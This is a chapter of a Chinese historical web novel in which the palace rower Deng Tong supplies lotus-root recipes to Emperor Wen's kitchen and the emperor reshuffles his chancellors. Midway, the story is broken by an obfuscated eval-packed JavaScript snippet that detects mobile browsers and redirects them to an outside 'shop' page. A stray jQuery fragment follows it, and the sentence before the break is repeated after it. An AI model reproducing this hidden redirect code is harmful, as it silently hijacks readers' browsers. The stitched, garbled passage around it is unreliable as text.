辑濯所的食堂备有可供打包的竹筒。次日清晨,邓通吃过早饭,便将陶锅中剩下的豆花仔细装了两筒,带上船去,预备当作晌午的饭食。
邓通守在船上,枯坐了大半个时辰,湖面清寂,竟不见一位游湖的贵人。他这才恍然意识到,这小半个月来,宫里似乎一个过来游湖的人都没有。
正暗自纳闷,却远远望见余喜提着篮子走近岸边。
“是要藕,还是要莲子?或者两样都要?”邓通探身问道。
“只要藕。”余喜答道。
“宫里是哪位贵人近来偏爱食藕么?”邓通有些好奇。
从前宫里似乎并没有哪位贵人特别喜好藕材。通常头茬新鲜的藕上供以后,少府便很少再派人专程来采,总要等到天再凉些,才统一挖起储冬。像这样隔三差五地来采,实在少见。
“是咱们那位陛下,”余喜解释道,“自入宫以来,衣食清简,殿中不设华丽陈设,不穿曳地的深衣,坐的是蒲草垫,膳食也只用时令菜蔬与寻常肉类。可正当季的食材终究有限,尚食署只能提前多费些心思变换花样,免得让陛下餐餐重复,显得单调。”
“原来如此。”邓通将新采的嫩藕轻轻放入余喜的提篮中,有些意外,“没想到陛下竟这般简朴。”
历史上汉文帝可是送了邓通一座钱山,出手这般阔绰,原来自己生活这么简朴吗?还是说此时因为初登大位,尚未来得及展露帝王排场?
“谁说不是呢。”余喜轻叹一声,“尚食署这些日子可是绞尽脑汁。既要清淡合时令,又不能太过简素,实在难办。尚食还特意下了悬赏,说谁能献上新颖的时令菜方,一道菜便赏二千钱呢!”
“赏钱”二字入耳,邓通那双因许久未见打赏而黯淡的眼睛,霎时亮了起来。他不会亲手烹制,可这些年耳闻目睹、亲身尝过的花样却着实不少。
“我倒是知道几样藕的做法,只不知宫中是否已有?”他试探着问。
“你快说说看?”
“藕可与带骨肉同炖,小火慢煨至骨酥肉烂,汤头清甜,藕块软糯,最是温补;若想吃素雅的,可将蜂蜜浸透的江米仔细填入藕孔,蒸熟后切片摆盘,便是甜润的蜜汁藕;还可将藕切成薄片,夹上各色调好的馅料,裹一层薄薄的面糊下锅炸透,外酥里嫩,称作藕盒,也别有风味。”
“这些做法听着既新鲜又好吃!”余喜又惊又喜,“不如你随我一同回少府,当面说与尚食听?”
“这倒不必,”邓通摆摆手,笑得坦然,“你替我去禀报便是。若得了赏钱,分我一半就好。”
若非余喜带来这消息,他断无可能得此横财。既是意外之财,他也没想独占。
余喜觉得自己这个朋友真是交对了,果然以“貌”取人再没有错的。
“最近白日天气也不算冷,为何来游湖的贵人一个也没有?”想到余喜消息灵通,邓通忍不住问余喜道。
从前吕后在时,宫中虽无多少太妃,但少帝与诸位兄弟们的生母或养母都还在宫中。此时儒家礼法尚未盛行,自然也没有妇人深居简出、不见外男的风气,这些妃嫔时常会出宫游湖散心,邓通不少赏钱便来自她们的打赏。
汉文帝继位以后,朝廷下诏,言明少帝与其兄弟皆非惠帝亲生,不过是吕后为了巩固吕氏地位从吕家抱养而来。他们的母亲们自然也被一一遣送出宫。
可邓通也听闻,汉文帝在原封地时已有王后与几位妃嫔,子嗣也不少,再不济也还有一位老母亲。如今汉文帝既入主长安,怎么他的家眷们竟然没有一个来上林苑沧池打卡的?
不然就靠自己的这点俸禄,想要出宫创业那真是遥遥无期呀。
“陛下此番进京,只奉太后同行。听闻太后性喜清静,而王后与诸位妃嫔仍留在代国。代地距长安山高水远,宫中女眷与皇子们行程缓慢,恐怕要一两个月后才能抵达长安。”
邓通:“……” so sad。看来如今这赏钱也只能指望尚食局了。
两人采藕采到晌午,邓通拿了一份用布裹着的豆花递给余喜。
“我自己做的吃食,你拿回去尝尝。放热水里烫一烫,加点饴糖或是清酱味道都还不错。”
余喜道了谢,带着东西返回了少府。
今天不是日朝,也不是大朝,而是官员们五日一休的日子。不过太尉周勃和丞相陈平并没有放假,而是被汉文帝叫来了未央宫加班。
“国事繁重,丞相一职却仅有一人担纲。朕有意再选一位丞相,不知太尉与丞相心中可有合宜人选?”
周勃暗忖刘恒这是急于安插亲信,心下不免轻嘲——丞相之位,岂是随便一个外来之人便能胜任的?
“臣并无可荐之人,”他拱手回应,语气沉稳,“陛下若有属意之人,不妨提出,臣等一道参详一二。”他已打定主意,若刘恒执意提拔心腹,便以“未经历练”为由直接谏阻。
“太尉忠于国事,功在社稷。朕本属意由你出任丞相,唯虑军政繁重,一时难觅接掌太尉之良将。”
周勃眼中微光一闪。原以为太尉之职已是刘恒对他功勋的酬答,未料天子竟有意进一步擢升。太尉虽与丞相同为三公,但若无虎符便难以调兵,怎比丞相执掌机要、总揽朝政来得实在?
“灌婴将军忠勇善战,功绩彪炳,堪当太尉之任。”周勃素来不喜迂回,面对这位新君更不愿故作谦辞。
“善。”刘恒颔首,“后日大朝,便颁诏命令太尉周勃为丞相,灌婴为太尉。”
稍作停顿,天子又有些为难道:“然绛侯至今仍兼领南北军务,既任丞相,恐难兼顾。”
“南北两军臣仅暂代统领,虎符理当奉还陛下。”周勃应声而答,“请陛下择可信之将接掌。”
南军戍卫宫禁,北军镇守京畿,是长安唯二劲旅。昔日由吕氏执掌,诸吕伏诛后虎符暂归周勃。若在往日,他未必舍得交出,但既得丞相之位,这原本就当归于天子的兵权,也就不必紧握不放了。
“南北两军,臣仅暂代
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601719|186319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
统领,虎符理当奉还陛下。”周勃应声答道,“请陛下择可信之将接掌。”
刘恒颔首:“如此,那么便由宋昌任卫尉,统领南北二军;张武任郎中令,统领宫中侍卫。”
这两人皆是刘恒在代国时的旧部心腹,周勃自然无有不可。
“丞相有左右两位,皆为国之股肱。在朕心中并无轻重之分,但名分须定。”刘恒目光扫过二人,“丞相和太尉可有何建议?”
陈平冷眼旁观,见周勃因得相权而喜形于色,又为这“右丞相”之名跃跃欲试,心中了然——这同僚之谊,怕是不甚牢靠。再看刘恒言语恭敬,却已不动声色地将长安掌控在手,不禁暗叹,这位新帝的深沉心机,当真与其父刘邦一脉相承。
刘家江山后继有人,陈平自觉已无愧于刘邦当年的知遇之恩。自身多病,再想起昔日功勋老臣多难善终,退意悄然萌生。
他当即轻咳两声,恭声道:“臣久病缠身,不耐繁剧,忝居左相之位已是陛下厚爱。太尉此次诛吕安刘,居功至伟,为陛下定鼎江山功不可没,由他出任右丞相再合适不过。”
周勃闻言大喜,暗赞陈平知情识趣。
刘恒见陈平主动退让,知其确是明达之人,心下也十分满意。
又一番谦辞往来后,丞相人选就此落定。
加班了一天,刘恒也不是个虐待老人家的人,就招呼周勃和陈平留在宫里用饭。
暮食只有一样主食,是小米饭,菜有炙羊肉,烤兔肉,葵菜羹,蜜汁藕和藕炖肉骨汤,种数不过五六样而已,比寻常勋贵人家还要少。
周勃与陈平皆非生于钟鸣鼎食之家,自然不会因席间肴馔简素而见怪。倒是代王刘恒,虽不曾享尽人间富贵,却终究是皇子之身,长于宫阙深处,未必真知民间饥寒之苦。
观其兄弟辈,惠帝刘盈沉溺酒色以避世,齐王刘肥坐拥东方之富、锦衣玉食,淮南王刘长车驾仪仗僭比天子,皆非敛抑之人。唯独代王,从未有奢靡之风闻于外。
而今初登帝位,即便只是暂作姿态,这般躬行节俭、不尚浮华的做派,也已然透出几分令人心折的明君气象了。
“这蜜汁藕的滋味,臣平生未尝,今日是托陛下的洪福了。”陈平含笑说道,言语间满是诚恳。
周勃更是爽朗,直接拱手道:“臣是个粗人,就斗胆向陛下讨要这藕炖豚骨的方子,回去也让家里的庖厨学着做,给老人和孩子们添道菜。”
刘恒见两位重臣都喜欢,心中愉悦,不但将两道菜方分别赐下,还特意嘉奖了尚食署,称赞他们办事用心。
尚食令喜出望外,当夜便将每道菜悬赏的二千钱给了余喜,还额外取出一金,叮嘱道:“这一金你务必带给那位献方的邓通,若非他心思灵巧,见多识广,今日尚食署也不能在陛下面前这样露脸。”
余喜捧着沉甸甸的赏钱,心里很替邓通欢喜,恨不得立时飞至上林苑交到他手中。只是少府与上林苑相隔甚远,只得按捺住性子,盼着天快些亮。